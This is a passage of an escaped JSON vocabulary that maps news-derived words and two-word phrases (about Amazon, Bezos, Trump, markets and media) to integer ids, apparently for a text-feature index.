113973,\n  \"apple reached\": 113974,\n  \"individuals acquainted\": 113975,\n  \"software solutions\": 113976,\n  \"aut_usrid 428030\": 113977,\n  \"david choi\": 113978,\n  \"nyc reconnects\": 113979,\n  \"2020 spending\": 113980,\n  \"ravage\": 113981,\n  \"revolting\": 113982,\n  \"boeing 747s\": 113983,\n  \"appease campaigners\": 113984,\n  \"moth balls\": 113985,\n  \"ceo joe\": 113986,\n  \"media people\": 113987,\n  \"major sticking\": 113988,\n  \"ferrar archway\": 113989,\n  \"father eyes\": 113990,\n  \"squinting\": 113991,\n  \"ub c9\": 113992,\n  \"deal contained\": 113993,\n  \"formal review\": 113994,\n  \"products sourcescreen\": 113995,\n  \"allegedly running\": 113996,\n  \"postmedia wire\": 113997,\n  \"purchase commercial\": 113998,\n  \"list challenge\": 113999,\n  \"include radio\": 114000,\n  \"queens ny\": 114001,\n  \"key market\": 114002,\n  \"demands branding\": 114003,\n  \"meghan official\": 114004,\n  \"michael spavor\": 114005,\n  \"potential benefits\": 114006,\n  \"hizzoner\": 114007,\n  \"couple lives\": 114008,\n  \"missiles\": 114009,\n  \"herera real\": 114010,\n  \"cohen\": 114011,\n  \"pbms cvs\": 114012,\n  \"losing bidders\": 114013,\n  \"girl airs\": 114014,\n  \"pollution rules\": 114015,\n  \"expanded social\": 114016,\n  \"president people\": 114017,\n  \"particular county\": 114018,\n  \"intc announced\": 114019,\n  \"haridasani\": 114020,\n  \"online speech\": 114021,\n  \"instructional videos\": 114022,\n  \"conservative political\": 114023,\n  \"ousting president\": 114024,\n  \"advisor pointed\": 114025,\n  \"business needs\": 114026,\n  \"lorber\": 114027,\n  \"mailing customers\": 114028,\n  \"slowed sharply\": 114029,\n  \"term establishment\": 114030,\n  \"billion associated\": 114031,\n  \"getting started\": 114032,\n  \"ribbon\": 114033,\n  \"original store\": 114034,\n  \"expanded corporate\": 114035,\n  \"conditional\": 114036,\n  \"enforcement mission\": 114037,\n  \"sole city\": 114038,\n  \"interviews meeting\": 114039,\n  \"macquarie\": 114040,\n  \"possibly using\": 114041,\n  \"graphics north\": 114042,\n  \"deforestation environment\": 114043,\n  \"afternoon sun\": 114044,\n  \"discussed aging\": 114045,\n  \"analyst laura\": 114046,\n  \"goliath season\": 114047,\n  \"basic credit\": 114048,\n  \"act giving\": 114049,\n  \"swipe\": 114050,\n  \"greece called\": 114051,\n  \"bigger issue\": 114052,\n  \"reshuffle\": 114053,\n  \"laboratory\": 114054,\n  \"screens jake\": 114055,\n  \"profitability goals\": 114056,\n  \"new offer\": 114057,\n  \"flat open\": 114058,\n  \"downstate suburbs\": 114059,\n  \"ama threads\": 114060,\n  \"sharlene teo\": 114061,\n  \"berg\": 114062,\n  \"bezos business\": 114063,\n  \"officials dealt\": 114064,\n  \"embarrassments\": 114065,\n  \"enquirer targeting\": 114066,\n  \"advisers group\": 114067,\n  \"ipec outside\": 114068,\n  \"7ga1gpzvfu\": 114069,\n  \"recreational\": 114070,\n  \"department 2017\": 114071,\n  \"analyst tom\": 114072,\n  \"party electronics\": 114073,\n  \"dems dig\": 114074,\n  \"market isnt\": 114075,\n  \"eco\": 114076,\n  \"11th hbo\": 114077,\n  \"economic arm\": 114078,\n  \"amazon adding\": 114079,\n  \"drawer\": 114080,\n  \"warren ma\": 114081,\n  \"allowing misleading\": 114082,\n  \"times nyt\": 114083,\n  \"japan tejal\": 114084,\n  \"pickup free\": 114085,\n  \"jr donaldjtrumpjr\": 114086,\n  \"psychology\": 114087,\n  \"promising increased\": 114088,\n  \"future state\": 114089,\n  \"trademark office\": 114090,\n  \"company saudi\": 114091,\n  \"term profitability\": 114092,\n  \"akin\": 114093,\n  \"amazon away\": 114094,\n  \"culpan\": 114095,\n  \"new arrangements\": 114096,\n  \"rich people\": 114097,\n  \"faangs\": 114098,\n  \"confronted\": 114099,\n  \"global business\": 114100,\n  \"crossbody\": 114101,\n  \"tech scene\": 114102,\n  \"lawsuit trump\": 114103,\n  \"uncategorized\": 114104,\n  \"francisco new\": 114105,\n  \"watch deadline\": 114106,\n  \"townhall\": 114107,\n  \"abbvie\": 114108,\n  \"chicanx organizing\": 114109,\n  \"cuts passed\": 114110,\n  \"reached great\": 114111,\n  \"lot different\": 114112,\n  \"america merrill\": 114113,\n  \"centerpiece\": 114114,\n  \"brazil dam\": 114115,\n  \"tweet covers\": 114116,\n  \"broadens\": 114117,\n  \"probably taking\": 114118,\n  \"public disgust\": 114119,\n  \"force suggested\": 114120,\n  \"glob endowment\": 114121,\n  \"means billionaire\": 114122,\n  \"cerebral\": 114123,\n  \"news inquiry\": 114124,\n  \"bigger risk\": 114125,\n  \"shitholes\": 114126,\n  \"environmental destruction\": 114127,\n  \"newsom yesterday\": 114128,\n  \"joe wqam\": 114129,\n  \"ceo stated\": 114130,\n  \"pursues low\": 114131,\n  \"socialmedia\": 114132,\n  \"bureau government\": 114133,\n  \"barrett tillman\": 114134,\n  \"netflix kohl\": 114135,\n  \"american billionaires\": 114136,\n  \"boulevard areas\": 114137,\n  \"need extra\": 114138,\n  \"accept putin\": 114139,\n  \"outweigh citizen\": 114140,\n  \"os\": 114141,\n  \"weren supplied\": 114142,\n  \"significantly demonstrating\": 114143,\n  \"desperately needs\": 114144,\n  \"blanchett calls\": 114145,\n  \"000 paying\": 114146,\n  \"michael called\": 114147,\n  \"pecker strange\": 114148,\n  \"reportedly splitting\": 114149,\n  \"california court\": 114150,\n  \"making businesses\": 114151,\n  \"companies engaged\": 114152,\n  \"instagram saw\": 114153,\n  \"afford\": 114154,\n  \"financial insight\": 114155,\n  \"bank stocks\": 114156,\n  \"congress critter\": 114157,\n  \"stocks tumble\": 114158,\n  \"sore\": 114159,\n  \"apple announcement\": 114160,\n  \"roughly 120\": 114161,\n  \"surprise delay\": 114162,\n  \"package handlers\": 114163,\n  \"growing teams\": 114164,\n  \"brackett\": 114165,\n  \"significant environmental\": 114166,\n  \"jared bernstein\": 114167,\n  \"consultants say\": 114168,\n  \"house referring\": 114169,\n  \"congress signed\": 114170,\n  \"buddy david\": 114171,\n  \"black audience\": 114172,\n  \"report today\": 114173,\n  \"2018 commentary\": 114174,\n  \"tv sign\": 114175,\n  \"bargaining law\": 114176,\n  \"invasion kansas\": 114177,\n  \"service showing\": 114178,\n  \"summer\": 114179,\n  \"ignorance arrogance\": 114180,\n  \"sophomores launch\": 114181,\n  \"danger inherent\": 114182,\n  \"elevate\": 114183,\n  \"coordination trump\": 114184,\n  \"palestinians\": 114185,\n  \"kornacki dave\": 114186,\n  \"episode series\": 114187,\n  \"advocate true\": 114188,\n  \"interesting piece\": 114189,\n  \"articleelem closest\": 114190,\n  \"22m shares\": 114191,\n  \"greater good\": 114192,\n  \"mortar footprint\": 114193,\n  \"despite unemployment\": 114194,\n  \"prices inevitable\": 114195,\n  \"business jobs\": 114196,\n  \"laundering\": 114197,\n  \"billion 766th\": 114198,\n  \"maybe try\": 114199,\n  \"clear blue\": 114200,\n  \"v4 v4\": 114201,\n  \"danger facing\": 114202,\n  \"sensibly grounded\": 114203,\n  \"crashed\": 114204,\n  \"license spoke\": 114205,\n  \"trump attempts\": 114206,\n  \"caused correction\": 114207,\n  \"american public\": 114208,\n  \"goldberg\": 114209,\n  \"obtained graphic\": 114210,\n  \"inaudible\": 114211,\n  \"health economist\": 114212,\n  \"russian internet\": 114213,\n  \"airways\": 114214,\n  \"intimate images\": 114215,\n  \"commission throw\": 114216,\n  \"988 shares\": 114217,\n  \"open past\": 114218,\n  \"man carried\": 114219,\n  \"just backfired\": 114220,\n  \"1952\": 114221,\n  \"highest official\": 114222,\n  \"legitimate criticism\": 114223,\n  \"tehran office\": 114224,\n  \"calculated amazon\": 114225,\n  \"trillion heres\": 114226,\n  \"examiner\": 114227,\n  \"planning increased\": 114228,\n  \"sessions asking\": 114229,\n  \"alerts\": 114230,\n  \"broader horizons\": 114231,\n  \"lt jeff\": 114232,\n  \"boards does\": 114233,\n  \"electronic tolling\": 114234,\n  \"opioid\": 114235,\n  \"market just\": 114236,\n  \"delivery postal\": 114237,\n  \"companionship good\": 114238,\n  \"broadcast deals\": 114239,\n  \"roads saving\": 114240,\n  \"500 just\": 114241,\n  \"michael graham\": 114242,\n  \"gellman\": 114243,\n  \"impressive results\": 114244,\n  \"arrived demand\": 114245,\n  \"address misconduct\": 114246,\n  \"maria torv\": 114247,\n  \"president declined\": 114248,\n  \"learning games\": 114249,\n  \"counter programming\": 114250,\n  \"editor wrote\": 114251,\n  \"stone abramowitz\": 114252,\n  \"major contracting\": 114253,\n  \"low prices\": 114254,\n  \"woodward foto\": 114255,\n  \"africa africa\": 114256,\n  \"simon executive\": 114257,\n  \"spokeswoman declined\": 114258,\n  \"persistent gender\": 114259,\n  \"approach taking\": 114260,\n  \"worth reported\": 114261,\n  \"sorts trump\": 114262,\n  \"staunch\": 114263,\n  \"jones company\": 114264,\n  \"triumph\": 114265,\n  \"saucy\": 114266,\n  \"successfully subscribed\": 114267,\n  \"company notably\": 114268,\n  \"perceived enemies\": 114269,\n  \"tabloid discussions\": 114270,\n  \"ridiculously easy\": 114271,\n  \"maranh\\u00e3o\": 114272,\n  \"videosourcedivid\": 114273,\n  \"null movetonexttimeout\": 114274,\n  \"keach hagey\": 114275,\n  \"hats adorned\": 114276,\n  \"costing american\": 114277,\n  \"saudi dimension\": 114278,\n  \"steel\": 114279,\n  \"employees working\": 114280,\n  \"wall col\": 114281,\n  \"union built\": 114282,\n  \"resurfaces\": 114283,\n  \"bee\": 114284,\n  \"trillion setting\": 114285,\n  \"development hud\": 114286,\n  \"reported strong\": 114287,\n  \"discontinue partnerships\": 114288,\n  \"intuition guts\": 114289,\n  \"old\": 114290,\n  \"extreme notes\": 114291,\n  \"oversight hearing\": 114292,\n  \"2018 million\": 114293,\n  \"trampled\": 114294,\n  \"mercurial\": 114295,\n  \"sale announcement\": 114296,\n  \"tags adam\": 114297,\n  \"congress budget\": 114298,\n  \"kill team\": 114299,\n  \"stephen brashear\": 114300,\n  \"study oscars\": 114301,\n  \"florida attorney\": 114302,\n  \"1361932001\": 114303,\n  \"caravan carell\": 114304,\n  \"scarcities created\": 114305,\n  \"alex edelman\": 114306,\n  \"freedom onewest\": 114307,\n  \"journalists experience\": 114308,\n  \"orman 2018\": 114309,\n  \"post match\": 114310,\n  \"model don\": 114311,\n  \"assurances\": 114312,\n  \"aggressively applied\": 114313,\n  \"379\": 114314,\n  \"mous\": 114315,\n  \"molly schuetz\": 114316,\n  \"nell hughes\": 114317,\n  \"haddish\": 114318,\n  \"competition price\": 114319,\n  \"lighthearted\": 114320,\n  \"381\": 114321,\n  \"company wares\": 114322,\n  \"arizona based\": 114323,\n  \"differences quickly\": 114324,\n  \"industry sectors\": 114325,\n  \"page agriculture\": 114326,\n  \"says trust\": 114327,\n  \"181003143415\": 114328,\n  \"labor state\": 114329,\n  \"regularly condemn\": 114330,\n  \"consuming masses\": 114331,\n  \"benefit calculations\": 114332,\n  \"gallery listings\": 114333,\n  \"action steps\": 114334,\n  \"erin lark\": 114335,\n  \"pets\": 114336,\n  \"cap table\": 114337,\n  \"215 points\": 114338,\n  \"charge editors\": 114339,\n  \"offering siegy\": 114340,\n  \"000 children\": 114341,\n  \"possibly mean\": 114342,\n  \"lawyer gary\": 114343,\n  \"cia desk\": 114344,\n  \"internet divided\": 114345,\n  \"advocates pro\": 114346,\n  \"trump unsavory\": 114347,\n  \"money driven\": 114348,\n  \"assistance aaliyah\": 114349,\n  \"800 amazon\": 114350,\n  \"dropped following\": 114351,\n  \"foe president\": 114352,\n  \"themi just\": 114353,\n  \"v0 s9x\": 114354,\n  \"wasby\": 114355,\n  \"anticipated slowdown\": 114356,\n  \"scale perspective\": 114357,\n  \"walmart hashtag\": 114358,\n  \"bench fans\": 114359,\n  \"context source\": 114360,\n  \"dave clark\": 114361,\n  \"unfriendly journalists\": 114362,\n  \"1100\": 114363,\n  \"seeding\": 114364,\n  \"outcomes cities\": 114365,\n  \"crisis set\": 114366,\n  \"botanical garden\": 114367,\n  \"time attacking\": 114368,\n  \"big democratic\": 114369,\n  \"house mair\": 114370,\n  \"remained client\": 114371,\n  \"wp image\": 114372,\n  \"cover trade\": 114373,\n  \"writing america\": 114374,\n  \"allies saying\": 114375,\n  \"ownership mnuchin\": 114376,\n  \"deserve chuckle\": 114377,\n  \"new devices\": 114378,\n  \"potential class\": 114379,\n  \"neutral level\": 114380,\n  \"stations owned\": 114381,\n  \"104 million\": 114382,\n  \"teacher union\": 114383,\n  \"choose don\": 114384,\n  \"newsy\": 114385,\n  \"160 billion\": 114386,\n  \"research rep\": 114387,\n  \"reduced recently\": 114388,\n  \"different things\": 114389,\n  \"personally owned\": 114390,\n  \"h6a\": 114391,\n  \"pro monsanto\": 114392,\n  \"old fliers\": 114393,\n  \"defining point\": 114394,\n  \"txn today\": 114395,\n  \"progress begin\": 114396,\n  \"including technology\": 114397,\n  \"analyst predictions\": 114398,\n  \"hamas ruled\": 114399,\n  \"leaving patients\": 114400,\n  \"admittedly buying\": 114401,\n  \"toledo ohio\": 114402,\n  \"spotted photo\": 114403,\n  \"subsidies given\": 114404,\n  \"leaders yesterday\": 114405,\n  \"average futures\": 114406,\n  \"market insurance\": 114407,\n  \"tested real\": 114408,\n  \"city budget\": 114409,\n  \"counterpart legislation\": 114410,\n  \"major loses\": 114411,\n  \"big victory\": 114412,\n  \"counterfeit product\": 114413,\n  \"restrooms fearing\": 114414,\n  \"state largest\": 114415,\n  \"simply espouse\": 114416,\n  \"cnnpressroom\": 114417,\n  \"punitive tariffs\": 114418,\n  \"pence family\": 114419,\n  \"drove refn\": 114420,\n  \"announced closings\": 114421,\n  \"free samples\": 114422,\n  \"markupid nextplay\": 114423,\n  \"boxes typically\": 114424,\n  \"symbol aa\": 114425,\n  \"told clients\": 114426,\n  \"commemorating\": 114427,\n  \"association convention\": 114428,\n  \"close 140\": 114429,\n  \"local national\": 114430,\n  \"stupid idea\": 114431,\n  \"negotiating strategies\": 114432,\n  \"amazon delivers\": 114433,\n  \"reuters microsoft\": 114434,\n  \"grudgingly\": 114435,\n  \"incentive deals\": 114436,\n  \"unfocused impulsive\": 114437,\n  \"caps tirade\": 114438,\n  \"sown urban\": 114439,\n  \"killed jfk\": 114440,\n  \"possibly providing\": 114441,\n  \"ongoing work\": 114442,\n  \"solutions shipping\": 114443,\n  \"wallet innovator\": 114444,\n  \"departures\": 114445,\n  \"mall prior\": 114446,\n  \"behavior instead\": 114447,\n  \"bling just\": 114448,\n  \"close campbell\": 114449,\n  \"pulling paint\": 114450,\n  \"accusations severe\": 114451,\n  \"express posted\": 114452,\n  \"pertinent given\": 114453,\n  \"groups thought\": 114454,\n  \"using false\": 114455,\n  \"including treasury\": 114456,\n  \"invest 800\": 114457,\n  \"stem\": 114458,\n  \"longtime conservative\": 114459,\n  \"orlando police\": 114460,\n  \"twitter briefly\": 114461,\n  \"murdering\": 114462,\n  \"account forming\": 114463,\n  \"pay special\": 114464,\n  \"biggest suppliers\": 114465,\n  \"ntnx ntnx\": 114466,\n  \"institute gala\": 114467,\n  \"key takeaway\": 114468,\n  \"loose alliance\": 114469,\n  \"esque wigs\": 114470,\n  \"investors selling\": 114471,\n  \"expanding according\": 114472,\n  \"describes secretary\": 114473,\n  \"134 billion\": 114474,\n  \"wrote don\": 114475,\n  \"happier\": 114476,\n  \"officially opposed\": 114477,\n  \"unique ignorance\": 114478,\n  \"eat dandelions\": 114479,\n  \"265\": 114480,\n  \"president mind\": 114481,\n  \"label products\": 114482,\n  \"rick kenyon\": 114483,\n  \"international paper\": 114484,\n  \"amazon pulling\": 114485,\n  \"demanding culture\": 114486,\n  \"fast approaching\": 114487,\n  \"better economic\": 114488,\n  \"specifically according\": 114489,\n  \"cranbrook wealth\": 114490,\n  \"permission\": 114491,\n  \"2018 losing\": 114492,\n  \"agencies investigate\": 114493,\n  \"awareness\": 114494,\n  \"sands casino\": 114495,\n  \"published multiple\": 114496,\n  \"simply using\": 114497,\n  \"banks amazon\": 114498,\n  \"weather jussie\": 114499,\n  \"told wall\": 114500,\n  \"learn amazon\": 114501,\n  \"loose\": 114502,\n  \"cloud scale\": 114503,\n  \"ike president\": 114504,\n  \"performed precisely\": 114505,\n  \"855 new\": 114506,\n  \"stations\": 114507,\n  \"smoking marijuana\": 114508,\n  \"jesus\": 114509,\n  \"overweight\": 114510,\n  \"2018 nobel\": 114511,\n  \"velvet rope\": 114512,\n  \"650 data\": 114513,\n  \"abuse hoarding\": 114514,\n  \"producer mark\": 114515,\n  \"game skill\": 114516,\n  \"year creditjohannes\": 114517,\n  \"max\": 114518,\n  \"malone kirchner\": 114519,\n  \"cassell reports\": 114520,\n  \"company attorneys\": 114521,\n  \"computer memory\": 114522,\n  \"legally barred\": 114523,\n  \"wirecard\": 114524,\n  \"ultimate outcome\": 114525,\n  \"video ________________________\": 114526,\n  \"justified fear\": 114527,\n  \"street expectation\": 114528,\n  \"amazon entertainment\": 114529,\n  \"imperils\": 114530,\n  \"connecting different\": 114531,\n  \"military assistant\": 114532,\n  \"selena blair\": 114533,\n  \"military construction\": 114534,\n  \"barred\": 114535,\n  \"viruses inbetween\": 114536,\n  \"cyber operations\": 114537,\n  \"chips shares\": 114538,\n  \"brexit left\": 114539,\n  \"helps support\": 114540,\n  \"bitchute\": 114541,\n  \"comment long\": 114542,\n  \"muckerman personally\": 114543,\n  \"governmentof russia\": 114544,\n  \"operate seamlessly\": 114545,\n  \"withdrawals\": 114546,\n  \"supposed reaction\": 114547,\n  \"getting free\": 114548,\n  \"sees shot\": 114549,\n  \"brilliant need\": 114550,\n  \"enthused locals\": 114551,\n  \"mussolini\": 114552,\n  \"says aws\": 114553,\n  \"toronto bid\": 114554,\n  \"poked\": 114555,\n  \"phaidon\": 114556,\n  \"4160\": 114557,\n  \"bezos character\": 114558,\n  \"infrastructure jedi\": 114559,\n  \"executive concluded\": 114560,\n  \"reports data\": 114561,\n  \"cost strategy\": 114562,\n  \"olson\": 114563,\n  \"predatory behavior\": 114564,\n  \"billion charity\": 114565,\n  \"coordinated media\": 114566,\n  \"strong partnership\": 114567,\n  \"jobs new\": 114568,\n  \"applications revenue\": 114569,\n  \"appears amazon\": 114570,\n  \"weakened clearing\": 114571,\n  \"rai\": 114572,\n  \"jedi process\": 114573,\n  \"dargis\": 114574,\n  \"2019 north\": 114575,\n  \"students annually\": 114576,\n  \"local chinese\": 114577,\n  \"facebook arguing\": 114578,\n  \"2018 fear\": 114579,\n  \"consumers fighting\": 114580,\n  \"roughly 250\": 114581,\n  \"profile media\": 114582,\n  \"jazeera english\": 114583,\n  \"abuse surfaced\": 114584,\n  \"kyle pope\": 114585,\n  \"latest devil\": 114586,\n  \"riz\": 114587,\n  \"waymo\": 114588,\n  \"doesn change\": 114589,\n  \"businesses work\": 114590,\n  \"medal\": 114591,\n  \"alexa\": 114592,\n  \"new book\": 114593,\n  \"company lvmh\": 114594,\n  \"justify sweeping\": 114595,\n  \"imageserve 41775805\": 114596,\n  \"misconduct ad\": 114597,\n  \"ryan commutes\": 114598,\n  \"learn scott\": 114599,\n  \"people fall\": 114600,\n  \"glob advsr\": 114601,\n  \"anthropologie\": 114602,\n  \"involves consensual\": 114603,\n  \"bp shell\": 114604,\n  \"google pushed\": 114605,\n  \"enthusiastic crowd\": 114606,\n  \"combover\": 114607,\n  \"isabel myers\": 114608,\n  \"journalism left\": 114609,\n  \"materials ami\": 114610,\n  \"recommended list\": 114611,\n  \"freedoms liberties\": 114612,\n  \"happened\": 114613,\n  \"gov eric\": 114614,\n  \"advisor roger\": 114615,\n  \"great foreclosure\": 114616,\n  \"personal autonomy\": 114617,\n  \"plot points\": 114618,\n  \"kamhi products\": 114619,\n  \"vanderwerff noted\": 114620,\n  \"courts generally\": 114621,\n  \"chosen wigs\": 114622,\n  \"colbert followed\": 114623,\n  \"n923056 cid\": 114624,\n  \"shariah law\": 114625,\n  \"post\": 114626,\n  \"uber trump\": 114627,\n  \"understands checks\": 114628,\n  \"roiled readers\": 114629,\n  \"telephone\": 114630,\n  \"political restraint\": 114631,\n  \"maddow\": 114632,\n  \"r1 d2jyz4lfsmnmp9\": 114633,\n  \"losing delivery\": 114634,\n  \"boy soon\": 114635,\n  \"proposal aiming\": 114636,\n  \"s1 tdy1rrxyabos6nze\": 114637,\n  \"hindu\": 114638,\n  \"enron\": 114639,\n  \"additional 200\": 114640,\n  \"filed complaints\": 114641,\n  \"track report\": 114642,\n  \"prowrestlingnet\": 114643,\n  \"month sxsw\": 114644,\n  \"stock options\": 114645,\n  \"twitter earnings\": 114646,\n  \"ilk tend\": 114647,\n  \"warren addressed\": 114648,\n  \"fictional beet\": 114649,\n  \"mmwave auctions\": 114650,\n  \"brexit goldman\": 114651,\n  \"real success\": 114652,\n  \"suuuuper\": 114653,\n  \"political fallout\": 114654,\n  \"cheers opportunities\": 114655,\n  \"rich asians\": 114656,\n  \"price resigned\": 114657,\n  \"exodus undercuts\": 114658,\n  \"brands helped\": 114659,\n  \"apparent corruption\": 114660,\n  \"228608\": 114661,\n  \"buddies tell\": 114662,\n  \"ny sen\": 114663,\n  \"fail banks\": 114664,\n  \"titled report\": 114665,\n  \"flash\": 114666,\n  \"users josh\": 114667,\n  \"help protect\": 114668,\n  \"hall meetings\": 114669,\n  \"make room\": 114670,\n  \"resistance nwdc\": 114671,\n  \"stocks opened\": 114672,\n  \"anti hero\": 114673,\n  \"beauty asked\": 114674,\n  \"twitter just\": 114675,\n  \"demanding climate\": 114676,\n  \"mulvaney crusader\": 114677,\n  \"beltway shows\": 114678,\n  \"pelecanos\": 114679,\n  \"rutte warned\": 114680,\n  \"sales figure\": 114681,\n  \"denied president\": 114682,\n  \"profitably\": 114683,\n  \"season netflix\": 114684,\n  \"way worse\": 114685,\n  \"job think\": 114686,\n  \"reputation shows\": 114687,\n  \"convenience including\": 114688,\n  \"measure success\": 114689,\n  \"young actor\": 114690,\n  \"balance\": 114691,\n  \"imposition\": 114692,\n  \"annual loss\": 114693,\n  \"general feb\": 114694,\n  \"park soon\": 114695,\n  \"trump boom\": 114696,\n  \"cbs digital\": 114697,\n  \"hakim mcphee\": 114698,\n  \"larry king\": 114699,\n  \"0729et copyright\": 114700,\n  \"business picked\": 114701,\n  \"hidden love\": 114702,\n  \"information forward\": 114703,\n  \"broadcom planned\": 114704,\n  \"shares whittier\": 114705,\n  \"275 million\": 114706,\n  \"taking loss\": 114707,\n  \"awaits\": 114708,\n  \"week amid\": 114709,\n  \"meeting miraculous\": 114710,\n  \"pearl earrings\": 114711,\n  \"children books\": 114712,\n  \"post citing\": 114713,\n  \"firm realized\": 114714,\n  \"naturalnews\": 114715,\n  \"krx\": 114716,\n  \"workers sec\": 114717,\n  \"amazon rob\": 114718,\n  \"constant watch\": 114719,\n  \"scandal quietly\": 114720,\n  \"kemper begged\": 114721,\n  \"comments emailed\": 114722,\n  \"general merchandise\": 114723,\n  \"adorable dream\": 114724,\n  \"fed rethinks\": 114725,\n  \"inevitable\": 114726,\n  \"rep tries\": 114727,\n  \"michigan investigators\": 114728,\n  \"interview broadcast\": 114729,\n  \"playbook massachusetts\": 114730,\n  \"requiring businesses\": 114731,\n  \"meeting set\": 114732,\n  \"going wrong\": 114733,\n  \"jet eating\": 114734,\n  \"haired wig\": 114735,\n  \"martin houghton\": 114736,\n  \"inaccurate amazon\": 114737,\n  \"incentives worth\": 114738,\n  \"gigyashareelement undefined\": 114739,\n  \"v7wv9basue\": 114740,\n  \"foreign capital\": 114741,\n  \"tariffs imposed\": 114742,\n  \"1620et copyright\": 114743,\n  \"year senate\": 114744,\n  \"company globally\": 114745,\n  \"plus similar\": 114746,\n  \"assembly puts\": 114747,\n  \"insider simon\": 114748,\n  \"durand potus\": 114749,\n  \"clark\": 114750,\n  \"refreshed product\": 114751,\n  \"assassinations continue\": 114752,\n  \"technology retailer\": 114753,\n  \"armed image\": 114754,\n  \"jesus moment\": 114755,\n  \"network worldwide\": 114756,\n  \"aback\": 114757,\n  \"group boasting\": 114758,\n  \"undermining exactly\": 114759,\n  \"privacy violated\": 114760,\n  \"season bruce\": 114761,\n  \"schmidt netflix\": 114762,\n  \"saudi angle\": 114763,\n  \"brzezinski\": 114764,\n  \"believing bizarre\": 114765,\n  \"amazon personnel\": 114766,\n  \"sturdy\": 114767,\n  \"muckrock\": 114768,\n  \"mortgage company\": 114769,\n  \"fing\": 114770,\n  \"conniving\": 114771,\n  \"method\": 114772,\n  \"freighter\": 114773,\n  \"fiercely oppose\": 114774,\n  \"investigation tracking\": 114775,\n  \"worse financial\": 114776,\n  \"defending religious\": 114777,\n  \"fahrenheit 451\": 114778,\n  \"inauguration\": 114779,\n  \"object r4ee\": 114780,\n  \"steve don\": 114781,\n  \"act protections\": 114782,\n  \"day right\": 114783,\n  \"comparisons difficult\": 114784,\n  \"beautiful french\": 114785,\n  \"motivational help\": 114786,\n  \"overseas 2018\": 114787,\n  \"obstfeld\": 114788,\n  \"fortune lobbyist\": 114789,\n  \"cracked 150\": 114790,\n  \"parcel service\": 114791,\n  \"growth lags\": 114792,\n  \"sonne\": 114793,\n  \"king novel\": 114794,\n  \"afghanistan air\": 114795,\n  \"try articleelem\": 114796,\n  \"acuity\": 114797,\n  \"trump ecommerce\": 114798,\n  \"defense classifications\": 114799,\n  \"risk worth\": 114800,\n  \"forests negatively\": 114801,\n  \"addition winning\": 114802,\n  \"batshit\": 114803,\n  \"recall failures\": 114804,\n  \"development usaid\": 114805,\n  \"portland food\": 114806,\n  \"helming\": 114807,\n  \"post accused\": 114808,\n  \"bezos recent\": 114809,\n  \"package shipping\": 114810,\n  \"girlfriend family\": 114811,\n  \"depend\": 114812,\n  \"spokesperson told\": 114813,\n  \"commission germany\": 114814,\n  \"subpoenas\": 114815,\n  \"lowey\": 114816,\n  \"speaker paul\": 114817,\n  \"amazon fault\": 114818,\n  \"shirts 2018\": 114819,\n  \"years task\": 114820,\n  \"wendi\": 114821,\n  \"imposed\": 114822,\n  \"retailing platform\": 114823,\n  \"hill senate\": 114824,\n  \"really teaching\": 114825,\n  \"identical time\": 114826,\n  \"akanksha rana\": 114827,\n  \"consumers united\": 114828,\n  \"paves\": 114829,\n  \"longer sell\": 114830,\n  \"love seat\": 114831,\n  \"khan worked\": 114832,\n  \"team exchanged\": 114833,\n  \"house ethics\": 114834,\n  \"vast spending\": 114835,\n  \"computer settings\": 114836,\n  \"governance spencer\": 114837,\n  \"kat holmes\": 114838,\n  \"underground railroad\": 114839,\n  \"quietly signed\": 114840,\n  \"ages blaze\": 114841,\n  \"leisure\": 114842,\n  \"supporter launch\": 114843,\n  \"conference trump\": 114844,\n  \"outlining deal\": 114845,\n  \"president women\": 114846,\n  \"post largest\": 114847,\n  \"2009 2018\": 114848,\n  \"new early\": 114849,\n  \"incentives offered\": 114850,\n  \"dreams creative\": 114851,\n  \"ecological\": 114852,\n  \"monster rally\": 114853,\n  \"results late\": 114854,\n  \"director christopher\": 114855,\n  \"roads averaging\": 114856,\n  \"arranging child\": 114857,\n  \"fewer shipping\": 114858,\n  \"ross ivanka\": 114859,\n  \"battles\": 114860,\n  \"force breakups\": 114861,\n  \"pay tv\": 114862,\n  \"government reorganization\": 114863,\n  \"trump organization\": 114864,\n  \"publication owned\": 114865,\n  \"s7a x2x\": 114866,\n  \"briefly interrupted\": 114867,\n  \"conditions later\": 114868,\n  \"shapiro real\": 114869,\n  \"provably false\": 114870,\n  \"set minimum\": 114871,\n  \"person board\": 114872,\n  \"team original\": 114873,\n  \"companies market\": 114874,\n  \"reelection bid\": 114875,\n  \"glorious thing\": 114876,\n  \"holiday shortened\": 114877,\n  \"paying state\": 114878,\n  \"africans\": 114879,\n  \"lotteries\": 114880,\n  \"tough decision\": 114881,\n  \"approximately 789\": 114882,\n  \"bequeathing\": 114883,\n  \"kept diary\": 114884,\n  \"paper towel\": 114885,\n  \"investigation appeared\": 114886,\n  \"avenues\": 114887,\n  \"connecticut trump\": 114888,\n  \"action employer\": 114889,\n  \"amazon listens\": 114890,\n  \"new pass\": 114891,\n  \"includes making\": 114892,\n  \"coaster ride\": 114893,\n  \"crony does\": 114894,\n  \"offering competing\": 114895,\n  \"quality convenience\": 114896,\n  \"members pilgrimage\": 114897,\n  \"called noon\": 114898,\n  \"future information\": 114899,\n  \"dozen new\": 114900,\n  \"traumatizing things\": 114901,\n  \"rain powerful\": 114902,\n  \"661\": 114903,\n  \"furnishing\": 114904,\n  \"jefferies amazon\": 114905,\n  \"huawei business\": 114906,\n  \"history\": 114907,\n  \"working alongside\": 114908,\n  \"enemies\": 114909,\n  \"country excluding\": 114910,\n  \"royal bank\": 114911,\n  \"shortened christmas\": 114912,\n  \"includes automatic\": 114913,\n  \"thriller article38253336\": 114914,\n  \"months despite\": 114915,\n  \"facebook data\": 114916,\n  \"washington zonar\": 114917,\n  \"socks company\": 114918,\n  \"laser guided\": 114919,\n  \"american legal\": 114920,\n  \"investigation marines\": 114921,\n  \"just lower\": 114922,\n  \"walmart strikes\": 114923,\n  \"party logistics\": 114924,\n  \"urged edc\": 114925,\n  \"distribution companies\": 114926,\n  \"wnd\": 114927,\n  \"polly\": 114928,\n  \"cbsmiami news\": 114929,\n  \"valley tech\": 114930,\n  \"doesn expect\": 114931,\n  \"disclosed amazon\": 114932,\n  \"stop misleading\": 114933,\n  \"giving president\": 114934,\n  \"largest venues\": 114935,\n  \"dead long\": 114936,\n  \"rich azzopardi\": 114937,\n  \"added virginia\": 114938,\n  \"tv according\": 114939,\n  \"g8 function\": 114940,\n  \"mental state\": 114941,\n  \"span\": 114942,\n  \"administration robert\": 114943,\n  \"state elected\": 114944,\n  \"vanessa tyson\": 114945,\n  \"financial houses\": 114946,\n  \"kkk amazon\": 